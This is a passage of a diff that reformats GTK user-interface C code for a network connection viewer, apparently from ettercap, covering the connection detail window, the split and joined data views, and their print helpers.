gtk_table_attach_defaults(GTK_TABLE(table), label, col + 1, col + 3, row, row + 1); } #ifdef WITH_GEOIP @@ -788,125 +787,125 @@ static void gtkui_connection_detail(void) row++; label = gtk_label_new("Destination location:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); - gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); + gtk_table_attach(GTK_TABLE(table), label, col, col + 1, row, row + 1, GTK_FILL, GTK_FILL, 0, 0); label = gtk_label_new(geoip_country_by_ip(&c->co->L3_addr2)); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); - gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+3, row, row+1); + gtk_table_attach_defaults(GTK_TABLE(table), label, col + 1, col + 3, row, row + 1); } #endif /* Layer 4 information */ row++; label = gtk_label_new("Layer 4 Information:"); - markup = g_markup_printf_escaped("%s", - gtk_label_get_text(GTK_LABEL(label))); + markup = g_markup_printf_escaped("%s", + gtk_label_get_text(GTK_LABEL(label))); gtk_label_set_markup(GTK_LABEL(label), markup); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); - gtk_table_attach(GTK_TABLE(table), label, col, col+3, row, row+1, GTK_FILL, GTK_FILL, 0, 0); - gtk_table_set_row_spacing(GTK_TABLE(table), row-1, 10); + gtk_table_attach(GTK_TABLE(table), label, col, col + 3, row, row + 1, GTK_FILL, GTK_FILL, 0, 0); + gtk_table_set_row_spacing(GTK_TABLE(table), row - 1, 10); g_free(markup); row++; label = gtk_label_new("Protocol:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); - gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); - - switch(c->co->L4_proto) { - case NL_TYPE_UDP: - label = gtk_label_new("UDP"); - break; - case NL_TYPE_TCP: - label = gtk_label_new("TCP"); - break; - default: - label = gtk_label_new(""); - break; + gtk_table_attach(GTK_TABLE(table), label, col, col + 1, row, row + 1, GTK_FILL, GTK_FILL, 0, 0); + + switch (c->co->L4_proto) { + case NL_TYPE_UDP: + label = gtk_label_new("UDP"); + break; + case NL_TYPE_TCP: + label = gtk_label_new("TCP"); + break; + default: + label = gtk_label_new(""); + break; } gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); - gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+3, row, row+1); + gtk_table_attach_defaults(GTK_TABLE(table), label, col + 1, col + 3, row, row + 1); row++; label = gtk_label_new("Source port:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); - gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); + gtk_table_attach(GTK_TABLE(table), label, col, col + 1, row, row + 1, GTK_FILL, GTK_FILL, 0, 0); label = gtk_label_new((str = g_strdup_printf("%d", ntohs(c->co->L4_addr1)))); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); - gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+2, row, row+1); + gtk_table_attach_defaults(GTK_TABLE(table), label, col + 1, col + 2, row, row + 1); g_free(str); label = gtk_label_new(service_search(c->co->L4_addr1, c->co->L4_proto)); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); - gtk_table_attach_defaults(GTK_TABLE(table), label, col+2, col+3, row, row+1); + gtk_table_attach_defaults(GTK_TABLE(table), label, col + 2, col + 3, row, row + 1); row++; label = gtk_label_new("Destination port:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); - gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); + gtk_table_attach(GTK_TABLE(table), label, col, col + 1, row, row + 1, GTK_FILL, GTK_FILL, 0, 0); label = gtk_label_new((str = g_strdup_printf("%d", ntohs(c->co->L4_addr2)))); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); - gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+2, row, row+1); + gtk_table_attach_defaults(GTK_TABLE(table), label, col + 1, col + 2, row, row + 1); g_free(str); label = gtk_label_new(service_search(c->co->L4_addr2, c->co->L4_proto)); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); - gtk_table_attach_defaults(GTK_TABLE(table), label, col+2, col+3, row, row+1); + gtk_table_attach_defaults(GTK_TABLE(table), label, col + 2, col + 3, row, row + 1); row++; label = gtk_label_new("Transferred bytes:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); - gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); + gtk_table_attach(GTK_TABLE(table), label, col, col + 1, row, row + 1, GTK_FILL, GTK_FILL, 0, 0); label = gtk_label_new((str = g_strdup_printf("%d", c->co->xferred))); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); - gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+3, row, row+1); + gtk_table_attach_defaults(GTK_TABLE(table), label, col + 1, col + 3, row, row + 1); g_free(str); /* Additional information */ if (c->co->DISSECTOR.user) { row++; label = gtk_label_new("Additional Information:"); - markup = g_markup_printf_escaped("%s", - gtk_label_get_text(GTK_LABEL(label))); + markup = g_markup_printf_escaped("%s", + gtk_label_get_text(GTK_LABEL(label))); gtk_label_set_markup(GTK_LABEL(label), markup); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); - gtk_table_attach(GTK_TABLE(table), label, col, col+3, row, row+1, GTK_FILL, GTK_FILL, 0, 0); - gtk_table_set_row_spacing(GTK_TABLE(table), row-1, 10); + gtk_table_attach(GTK_TABLE(table), label, col, col + 3, row, row + 1, GTK_FILL, GTK_FILL, 0, 0); + gtk_table_set_row_spacing(GTK_TABLE(table), row - 1, 10); g_free(markup); row++; label = gtk_label_new("Account:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); - gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); + gtk_table_attach(GTK_TABLE(table), label, col, col + 1, row, row + 1, GTK_FILL, GTK_FILL, 0, 0); label = gtk_label_new(c->co->DISSECTOR.user); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); - gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+2, row, row+1); + gtk_table_attach_defaults(GTK_TABLE(table), label, col + 1, col + 2, row, row + 1); label = gtk_label_new(c->co->DISSECTOR.pass); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); - gtk_table_attach_defaults(GTK_TABLE(table), label, col+2, col+3, row, row+1); + gtk_table_attach_defaults(GTK_TABLE(table), label, col + 2, col + 3, row, row + 1); if (c->co->DISSECTOR.info) { label = gtk_label_new("Additional info:"); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); - gtk_table_attach(GTK_TABLE(table), label, col, col+1, row, row+1, GTK_FILL, GTK_FILL, 0, 0); + gtk_table_attach(GTK_TABLE(table), label, col, col + 1, row, row + 1, GTK_FILL, GTK_FILL, 0, 0); label = gtk_label_new(c->co->DISSECTOR.info); gtk_label_set_selectable(GTK_LABEL(label), TRUE); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); - gtk_table_attach_defaults(GTK_TABLE(table), label, col+1, col+3, row, row+1); + gtk_table_attach_defaults(GTK_TABLE(table), label, col + 1, col + 3, row, row + 1); } } @@ -917,20 +916,18 @@ static void gtkui_connection_detail(void) gtk_box_pack_start(GTK_BOX(vbox), hbox, FALSE, FALSE, 0); button = gtk_button_new_from_stock(GTK_STOCK_CLOSE); - g_signal_connect_swapped(G_OBJECT(button), "clicked", - G_CALLBACK(gtkui_connection_detail_destroy), dwindow); + g_signal_connect_swapped(G_OBJECT(button), "clicked", + G_CALLBACK(gtkui_connection_detail_destroy), dwindow); gtk_box_pack_end(GTK_BOX(hbox), button, FALSE, FALSE, 0); gtk_widget_grab_focus(button); - - gtk_widget_show_all(dwindow); - + gtk_widget_show_all(dwindow); } static void gtkui_connection_detail_destroy(GtkWidget *widget, gpointer *data) { /* unused variable */ - (void) data; + (void)data; /* destroy timer if still running */ if (detail_timer1) @@ -949,17 +946,17 @@ static void gtkui_connection_data(void) struct conn_tail *c = NULL; DEBUG_MSG("gtk_connection_data"); - model = GTK_TREE_MODEL (ls_conns); + model = GTK_TREE_MODEL(ls_conns); - if (gtk_tree_selection_get_selected (GTK_TREE_SELECTION (selection), &model, &iter)) { - gtk_tree_model_get (model, &iter, 11, &c, -1); + if (gtk_tree_selection_get_selected(GTK_TREE_SELECTION(selection), &model, &iter)) { + gtk_tree_model_get(model, &iter, 11, &c, -1); } else return; /* nothing is selected */ - if(c == NULL || c->co == NULL) + if (c == NULL || c->co == NULL) return; /* just to be safe */ - - /* + + /* * remove any hook on the open connection. * this is done to prevent a switch of connection * with the panel opened @@ -970,11 +967,11 @@ static void gtkui_connection_data(void) /* remove the viewing flag */ curr_conn->flags &= ~CONN_VIEWING; } - + /* set the global variable to pass the parameter to other functions */ curr_conn = c->co; curr_conn->flags |= CONN_VIEWING; - + /* default is split view */ gtkui_connection_data_split(); } @@ -988,7 +985,7 @@ static void gtkui_connection_data_split(void) GtkWidget *hbox_big, *hbox_small, *button; GtkTextIter iter; char tmp[MAX_ASCII_ADDR_LEN]; - char title[MAX_ASCII_ADDR_LEN+6]; + char title[MAX_ASCII_ADDR_LEN + 6]; static gint scroll_split = 1; DEBUG_MSG("gtk_connection_data_split"); @@ -996,12 +993,12 @@ static void gtkui_connection_data_split(void) /* if we're switching views, make sure old hook is gone */ conntrack_hook_conn_del(curr_conn, join_print_po); - if(data_window) { - child = gtk_bin_get_child(GTK_BIN (data_window)); - gtk_container_remove(GTK_CONTAINER (data_window), child); + if (data_window) { + child = gtk_bin_get_child(GTK_BIN(data_window)); + gtk_container_remove(GTK_CONTAINER(data_window), child); textview3 = NULL; joinedbuf = NULL; - endmark3 = NULL; + endmark3 = NULL; } else { data_window = gtkui_page_new("Connection data", >kui_destroy_conndata, >kui_connection_data_detach); } @@ -1013,112 +1010,112 @@ static void gtkui_connection_data_split(void) gtk_container_add(GTK_CONTAINER(data_window), hbox_big); gtk_widget_show(hbox_big); - /*** left side ***/ + /*** left side ***/ vbox = gtkui_box_new(GTK_ORIENTATION_VERTICAL, 0, FALSE); gtk_box_pack_start(GTK_BOX(hbox_big), vbox, TRUE, TRUE, 0); gtk_widget_show(vbox); - /* title */ - snprintf(title, MAX_ASCII_ADDR_LEN+6, "%s:%d", + /* title */ + snprintf(title, MAX_ASCII_ADDR_LEN + 6, "%s:%d", ip_addr_ntoa(&curr_conn->L3_addr1, tmp), ntohs(curr_conn->L4_addr1)); label = gtk_label_new(title); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_box_pack_start(GTK_BOX(vbox), label, FALSE, FALSE, 0); gtk_widget_show(label); - /* data */ + /* data */ scrolled = gtk_scrolled_window_new(NULL, NULL); - gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW (scrolled), + gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW(scrolled), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); - gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW (scrolled), GTK_SHADOW_IN); + gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW(scrolled), GTK_SHADOW_IN); gtk_box_pack_start(GTK_BOX(vbox), scrolled, TRUE, TRUE, 0); gtk_widget_show(scrolled); textview1 = gtk_text_view_new(); - gtk_text_view_set_wrap_mode(GTK_TEXT_VIEW (textview1), GTK_WRAP_CHAR); - gtk_text_view_set_editable(GTK_TEXT_VIEW (textview1), FALSE); - gtk_text_view_set_cursor_visible(GTK_TEXT_VIEW (textview1), FALSE); - gtk_text_view_set_right_margin(GTK_TEXT_VIEW (textview1), 5); - gtk_text_view_set_right_margin(GTK_TEXT_VIEW (textview1), 5); - gtk_container_add(GTK_CONTAINER (scrolled), textview1); + gtk_text_view_set_wrap_mode(GTK_TEXT_VIEW(textview1), GTK_WRAP_CHAR); + gtk_text_view_set_editable(GTK_TEXT_VIEW(textview1), FALSE); + gtk_text_view_set_cursor_visible(GTK_TEXT_VIEW(textview1), FALSE); + gtk_text_view_set_right_margin(GTK_TEXT_VIEW(textview1), 5); + gtk_text_view_set_right_margin(GTK_TEXT_VIEW(textview1), 5); + gtk_container_add(GTK_CONTAINER(scrolled), textview1); gtk_widget_show(textview1); - splitbuf1 = gtk_text_view_get_buffer(GTK_TEXT_VIEW (textview1)); - gtk_text_buffer_create_tag (splitbuf1, "blue_fg", "foreground", "blue", NULL); - gtk_text_buffer_create_tag (splitbuf1, "monospace", "family", "monospace", NULL); + splitbuf1 = gtk_text_view_get_buffer(GTK_TEXT_VIEW(textview1)); + gtk_text_buffer_create_tag(splitbuf1, "blue_fg", "foreground", "blue", NULL); + gtk_text_buffer_create_tag(splitbuf1, "monospace", "family", "monospace", NULL); gtk_text_buffer_get_end_iter(splitbuf1, &iter); endmark1 = gtk_text_buffer_create_mark(splitbuf1, "end", &iter, FALSE); - /* first two buttons */ + /* first two buttons */ hbox_small = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 5, TRUE); gtk_box_pack_start(GTK_BOX(vbox), hbox_small, FALSE, FALSE, 0); gtk_widget_show(hbox_small); button = gtk_button_new_with_mnemonic("_Join Views"); - g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_connection_data_join), NULL); + g_signal_connect(G_OBJECT(button), "clicked", G_CALLBACK(gtkui_connection_data_join), NULL); gtk_box_pack_start(GTK_BOX(hbox_small), button, TRUE, TRUE, 0); gtk_widget_show(button); button = gtk_button_new_with_mnemonic("_Inject Data"); - g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_connection_inject), NULL); + g_signal_connect(G_OBJECT(button), "clicked", G_CALLBACK(gtkui_connection_inject), NULL); gtk_box_pack_start(GTK_BOX(hbox_small), button, TRUE, TRUE, 0); gtk_widget_show(button); - /*** right side ***/ + /*** right side ***/ vbox = gtkui_box_new(GTK_ORIENTATION_VERTICAL, 0, FALSE); gtk_box_pack_start(GTK_BOX(hbox_big), vbox, TRUE, TRUE, 0); gtk_widget_show(vbox); - /* title */ - snprintf(title, MAX_ASCII_ADDR_LEN+6, "%s:%d", + /* title */ + snprintf(title, MAX_ASCII_ADDR_LEN + 6, "%s:%d", ip_addr_ntoa(&curr_conn->L3_addr2, tmp), ntohs(curr_conn->L4_addr2)); label = gtk_label_new(title); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_box_pack_start(GTK_BOX(vbox), label, FALSE, FALSE, 0); gtk_widget_show(label); - /* data */ + /* data */ scrolled = gtk_scrolled_window_new(NULL, NULL); - gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW (scrolled), + gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW(scrolled), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); - gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW (scrolled), GTK_SHADOW_IN); + gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW(scrolled), GTK_SHADOW_IN); gtk_box_pack_start(GTK_BOX(vbox), scrolled, TRUE, TRUE, 0); gtk_widget_show(scrolled); textview2 = gtk_text_view_new(); - gtk_text_view_set_wrap_mode(GTK_TEXT_VIEW (textview2), GTK_WRAP_CHAR); - gtk_text_view_set_editable(GTK_TEXT_VIEW (textview2), FALSE); - gtk_text_view_set_cursor_visible(GTK_TEXT_VIEW (textview2), FALSE); - gtk_text_view_set_right_margin(GTK_TEXT_VIEW (textview2), 5); - gtk_text_view_set_right_margin(GTK_TEXT_VIEW (textview2), 5); - gtk_container_add(GTK_CONTAINER (scrolled), textview2); + gtk_text_view_set_wrap_mode(GTK_TEXT_VIEW(textview2), GTK_WRAP_CHAR); + gtk_text_view_set_editable(GTK_TEXT_VIEW(textview2), FALSE); + gtk_text_view_set_cursor_visible(GTK_TEXT_VIEW(textview2), FALSE); + gtk_text_view_set_right_margin(GTK_TEXT_VIEW(textview2), 5); + gtk_text_view_set_right_margin(GTK_TEXT_VIEW(textview2), 5); + gtk_container_add(GTK_CONTAINER(scrolled), textview2); gtk_widget_show(textview2); - splitbuf2 = gtk_text_view_get_buffer(GTK_TEXT_VIEW (textview2)); - gtk_text_buffer_create_tag (splitbuf2, "blue_fg", "foreground", "blue", NULL); - gtk_text_buffer_create_tag (splitbuf2, "monospace", "family", "monospace", NULL); + splitbuf2 = gtk_text_view_get_buffer(GTK_TEXT_VIEW(textview2)); + gtk_text_buffer_create_tag(splitbuf2, "blue_fg", "foreground", "blue", NULL); + gtk_text_buffer_create_tag(splitbuf2, "monospace", "family", "monospace", NULL); gtk_text_buffer_get_end_iter(splitbuf2, &iter); endmark2 = gtk_text_buffer_create_mark(splitbuf2, "end", &iter, FALSE); - /* second two buttons */ + /* second two buttons */ hbox_small = gtkui_box_new(GTK_ORIENTATION_HORIZONTAL, 5, TRUE); gtk_box_pack_start(GTK_BOX(vbox), hbox_small, FALSE, FALSE, 0); gtk_widget_show(hbox_small); - button = gtk_button_new_with_mnemonic("Inject _File"); - g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_connection_inject_file), NULL); + button = gtk_button_new_with_mnemonic("Inject _File"); + g_signal_connect(G_OBJECT(button), "clicked", G_CALLBACK(gtkui_connection_inject_file), NULL); gtk_box_pack_start(GTK_BOX(hbox_small), button, TRUE, TRUE, 0); gtk_widget_show(button); button = gtk_button_new_with_mnemonic("_Kill Connection"); - g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_connection_kill_curr_conn), NULL); + g_signal_connect(G_OBJECT(button), "clicked", G_CALLBACK(gtkui_connection_kill_curr_conn), NULL); gtk_box_pack_start(GTK_BOX(hbox_small), button, TRUE, TRUE, 0); gtk_widget_show(button); gtk_widget_show(data_window); - if(GTK_IS_WINDOW (data_window)) - gtk_window_present(GTK_WINDOW (data_window)); + if (GTK_IS_WINDOW(data_window)) + gtk_window_present(GTK_WINDOW(data_window)); else gtkui_page_present(data_window); @@ -1136,9 +1133,9 @@ static void gtkui_connection_data_split(void) static void gtkui_connection_data_detach(GtkWidget *child) { data_window = gtk_window_new(GTK_WINDOW_TOPLEVEL); - gtk_window_set_title(GTK_WINDOW (data_window), "Connection data"); - gtk_window_set_default_size(GTK_WINDOW (data_window), 600, 400); - gtk_container_set_border_width(GTK_CONTAINER (data_window), 5); + gtk_window_set_title(GTK_WINDOW(data_window), "Connection data"); + gtk_window_set_default_size(GTK_WINDOW(data_window), 600, 400); + gtk_container_set_border_width(GTK_CONTAINER(data_window), 5); g_signal_connect(G_OBJECT(data_window), "delete_event", G_CALLBACK(gtkui_destroy_conndata), NULL); /* make d shortcut turn the window back into a tab */ @@ -1146,7 +1143,7 @@ static void gtkui_connection_data_detach(GtkWidget *child) gtk_container_add(GTK_CONTAINER(data_window), child); - gtk_window_present(GTK_WINDOW (data_window)); + gtk_window_present(GTK_WINDOW(data_window)); } /* attach connection data tab */ @@ -1156,7 +1153,7 @@ static void gtkui_connection_data_attach(void) conntrack_hook_conn_del(curr_conn, split_print_po); conntrack_hook_conn_del(curr_conn, join_print_po); } - + gtk_widget_destroy(data_window); textview1 = NULL; textview2 = NULL; @@ -1189,7 +1186,7 @@ static void gtkui_destroy_conndata(void) /* int buffer - 1 for left split view, 2 for right split view, 3 for joined view */ /* char *data - string to print */ /* int color - 2 for blue text (used in joined view) */ -static void gtkui_data_print(int buffer, char *data, int color) +static void gtkui_data_print(int buffer, char *data, int color) { GtkTextIter iter; GtkTextBuffer *textbuf = NULL; @@ -1197,58 +1194,58 @@ static void gtkui_data_print(int buffer, char *data, int color) GtkTextMark *endmark = NULL; char *unicode = NULL; - switch(buffer) { - case 1: - textbuf = splitbuf1; - textview = textview1; - endmark = endmark1; - break; - case 2: - textbuf = splitbuf2; - textview = textview2; - endmark = endmark2; - break; - case 3: - textbuf = joinedbuf; - textview = textview3; - endmark = endmark3; - break; - default: - return; + switch (buffer) { + case 1: + textbuf = splitbuf1; + textview = textview1; + endmark = endmark1; + break; + case 2: + textbuf = splitbuf2; + textview = textview2; + endmark = endmark2; + break; + case 3: + textbuf = joinedbuf; + textview = textview3; + endmark = endmark3; + break; + default: + return; } - /* make sure data is valid UTF8 */ unicode = gtkui_utf8_validate(data); /* if interface has been destroyed or unicode conversion failed */ - if(!data_window || !textbuf || !textview || !endmark || !unicode) + if (!data_window || !textbuf || !textview || !endmark || !unicode) return; gtk_text_buffer_get_end_iter(textbuf, &iter); - if(color == 2) - gtk_text_buffer_insert_with_tags_by_name(textbuf, &iter, unicode, - -1, "blue_fg", "monospace", NULL); + if (color == 2) + gtk_text_buffer_insert_with_tags_by_name(textbuf, &iter, unicode, + -1, "blue_fg", "monospace", NULL); else - gtk_text_buffer_insert_with_tags_by_name(textbuf, &iter, unicode, - -1, "monospace", NULL); - gtk_text_view_scroll_to_mark(GTK_TEXT_VIEW (textview), - endmark, 0, FALSE, 0, 0); + gtk_text_buffer_insert_with_tags_by_name(textbuf, &iter, unicode, + -1, "monospace", NULL); + gtk_text_view_scroll_to_mark(GTK_TEXT_VIEW(textview), + endmark, 0, FALSE, 0, 0); } static void split_print(u_char *text, size_t len, struct ip_addr *L3_src) { int ret; - + /* check the regex filter */ - if (GBL_OPTIONS->regex && - regexec(GBL_OPTIONS->regex, text, 0, NULL, 0) != 0) { + if (GBL_OPTIONS->regex && + regexec(GBL_OPTIONS->regex, text, 0, NULL, 0) != 0) + { return; } /* use the global to reuse the same memory region */ SAFE_REALLOC(dispbuf, hex_len(len) * sizeof(u_char) + 1); - + /* format the data */ ret = GBL_FORMAT(text, len, dispbuf); dispbuf[ret] = 0; @@ -1262,24 +1259,25 @@ static void split_print(u_char *text, size_t len, struct ip_addr *L3_src) static void split_print_po(struct packet_object *po) { int ret; - + /* if not open don't refresh it */ if (!data_window) return; - + /* check the regex filter */ - if (GBL_OPTIONS->regex && - regexec(GBL_OPTIONS->regex, po->DATA.disp_data, 0, NULL, 0) != 0) { + if (GBL_OPTIONS->regex && + regexec(GBL_OPTIONS->regex, po->DATA.disp_data, 0, NULL, 0) != 0) + { return; } - + /* use the global to reuse the same memory region */ SAFE_REALLOC(dispbuf, hex_len(po->DATA.disp_len) * sizeof(u_char) + 1); - + /* format the data */ ret = GBL_FORMAT(po->DATA.disp_data, po->DATA.disp_len, dispbuf); dispbuf[ret] = 0; - + if (!ip_addr_cmp(&po->L3.src, &curr_conn->L3_addr1)) gtkui_data_print(1, dispbuf, 0); else @@ -1287,13 +1285,13 @@ static void split_print_po(struct packet_object *po) } /* - * show the data in a joined window + * show the data in a joined window */ static void gtkui_connection_data_join(void) { GtkWidget *hbox, *vbox, *label, *scrolled, *button, *child; GtkTextIter iter; - #define TITLE_LEN (MAX_ASCII_ADDR_LEN * 2) + 6 +#define TITLE_LEN (MAX_ASCII_ADDR_LEN * 2) + 6 char src[MAX_ASCII_ADDR_LEN]; char dst[MAX_ASCII_ADDR_LEN]; char title[TITLE_LEN]; @@ -1304,9 +1302,9 @@ static void gtkui_connection_data_join(void) /* if we're switching views, make sure old hook is gone */ conntrack_hook_conn_del(curr_conn, split_print_po); - if(data_window) { - child = gtk_bin_get_child(GTK_BIN (data_window)); - gtk_container_remove(GTK_CONTAINER (data_window), child); + if (data_window) { + child = gtk_bin_get_child(GTK_BIN(data_window)); + gtk_container_remove(GTK_CONTAINER(data_window), child); textview1 = NULL; textview2 = NULL; splitbuf1 = NULL; @@ -1319,40 +1317,40 @@ static void gtkui_connection_data_join(void) /* don't timeout this connection */ curr_conn->flags |= CONN_VIEWING; - + vbox = gtkui_box_new(GTK_ORIENTATION_VERTICAL, 0, FALSE); gtk_container_add(GTK_CONTAINER(data_window), vbox); gtk_widget_show(vbox); - - /* title */ - snprintf(title, TITLE_LEN, "%s:%d - %s:%d", + + /* title */ + snprintf(title, TITLE_LEN, "%s:%d - %s:%d", ip_addr_ntoa(&curr_conn->L3_addr1, src), ntohs(curr_conn->L4_addr1), ip_addr_ntoa(&curr_conn->L3_addr2, dst), ntohs(curr_conn->L4_addr2)); label = gtk_label_new(title); gtk_misc_set_alignment(GTK_MISC(label), 0, 0.5); gtk_box_pack_start(GTK_BOX(vbox), label, FALSE, FALSE, 0); gtk_widget_show(label); - - /* data */ + + /* data */ scrolled = gtk_scrolled_window_new(NULL, NULL); - gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW (scrolled), + gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW(scrolled), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); - gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW (scrolled), GTK_SHADOW_IN); + gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW(scrolled), GTK_SHADOW_IN); gtk_box_pack_start(GTK_BOX(vbox), scrolled, TRUE, TRUE, 0); - gtk_widget_show(scrolled); - + gtk_widget_show(scrolled); + textview3 = gtk_text_view_new(); - gtk_text_view_set_wrap_mode(GTK_TEXT_VIEW (textview3), GTK_WRAP_CHAR); - gtk_text_view_set_editable(GTK_TEXT_VIEW (textview3), FALSE); - gtk_text_view_set_cursor_visible(GTK_TEXT_VIEW (textview3), FALSE); - gtk_text_view_set_right_margin(GTK_TEXT_VIEW (textview3), 5); - gtk_text_view_set_right_margin(GTK_TEXT_VIEW (textview3), 5); - gtk_container_add(GTK_CONTAINER (scrolled), textview3); + gtk_text_view_set_wrap_mode(GTK_TEXT_VIEW(textview3), GTK_WRAP_CHAR); + gtk_text_view_set_editable(GTK_TEXT_VIEW(textview3), FALSE); + gtk_text_view_set_cursor_visible(GTK_TEXT_VIEW(textview3), FALSE); + gtk_text_view_set_right_margin(GTK_TEXT_VIEW(textview3), 5); + gtk_text_view_set_right_margin(GTK_TEXT_VIEW(textview3), 5); + gtk_container_add(GTK_CONTAINER(scrolled), textview3); gtk_widget_show(textview3); - joinedbuf = gtk_text_view_get_buffer(GTK_TEXT_VIEW (textview3)); - gtk_text_buffer_create_tag (joinedbuf, "blue_fg", "foreground", "blue", NULL); - gtk_text_buffer_create_tag (joinedbuf, "monospace", "family", "monospace", NULL); + joinedbuf = gtk_text_view_get_buffer(GTK_TEXT_VIEW(textview3)); + gtk_text_buffer_create_tag(joinedbuf, "blue_fg", "foreground", "blue", NULL); + gtk_text_buffer_create_tag(joinedbuf, "monospace", "family", "monospace", NULL); gtk_text_buffer_get_end_iter(joinedbuf, &iter); endmark3 = gtk_text_buffer_create_mark(joinedbuf, "end", &iter, FALSE); @@ -1361,19 +1359,19 @@ static void gtkui_connection_data_join(void) gtk_widget_show(hbox); button = gtk_button_new_with_mnemonic("_Split View"); - g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_connection_data_split), NULL); + g_signal_connect(G_OBJECT(button), "clicked", G_CALLBACK(gtkui_connection_data_split), NULL); gtk_box_pack_start(GTK_BOX(hbox), button, TRUE, TRUE, 0); gtk_widget_show(button); button = gtk_button_new_with_mnemonic("_Kill Connection"); - g_signal_connect(G_OBJECT (button), "clicked", G_CALLBACK (gtkui_connection_kill_curr_conn), NULL); + g_signal_connect(G_OBJECT(button), "clicked", G_CALLBACK(gtkui_connection_kill_curr_conn), NULL); gtk_box_pack_start(GTK_BOX(hbox), button, TRUE, TRUE, 0); gtk_widget_show(button); gtk_widget_show(data_window); - if(GTK_IS_WINDOW (data_window)) - gtk_window_present(GTK_WINDOW (data_window)); + if (GTK_IS_WINDOW(data_window)) + gtk_window_present(GTK_WINDOW(data_window)); else gtkui_page_present(data_window); @@ -1392,38 +1390,39 @@ static gboolean gtkui_connections_scroll(gpointer data) gint *type = data; if (type == NULL) - return FALSE; + return FALSE; - if(*type == 1 && textview1 && endmark1 && textview2 && endmark2) { + if (*type == 1 && textview1 && endmark1 && textview2 && endmark2) { /* scroll split data views to bottom */ - gtk_text_view_scroll_to_mark(GTK_TEXT_VIEW (textview1), endmark1, 0, FALSE, 0, 0); - gtk_text_view_scroll_to_mark(GTK_TEXT_VIEW (textview2), endmark2, 0, FALSE, 0, 0); - } else if(textview3 && endmark3) { + gtk_text_view_scroll_to_mark(GTK_TEXT_VIEW(textview1), endmark1, 0, FALSE, 0, 0); + gtk_text_view_scroll_to_mark(GTK_TEXT_VIEW(textview2), endmark2, 0, FALSE, 0, 0); + } else if (textview3 && endmark3) { /* scroll joined data view to bottom */ - gtk_text_view_scroll_to_mark(GTK_TEXT_VIEW (textview3), endmark3, 0, FALSE, 0, 0); + gtk_text_view_scroll_to_mark(GTK_TEXT_VIEW(textview3), endmark3, 0, FALSE, 0, 0); } /* only execute once, don't repeat */ - return(FALSE); + return FALSE; } static void join_print(u_char *text, size_t len, struct ip_addr *L3_src) { int ret; - + /* check the regex filter */ - if (GBL_OPTIONS->regex && - regexec(GBL_OPTIONS->regex, text, 0, NULL, 0) != 0) { + if (GBL_OPTIONS->regex && + regexec(GBL_OPTIONS->regex, text, 0, NULL, 0) != 0) + { return; } - + /* use the global to reuse the same memory region */ SAFE_REALLOC(dispbuf, hex_len(len) * sizeof(u_char) + 1); 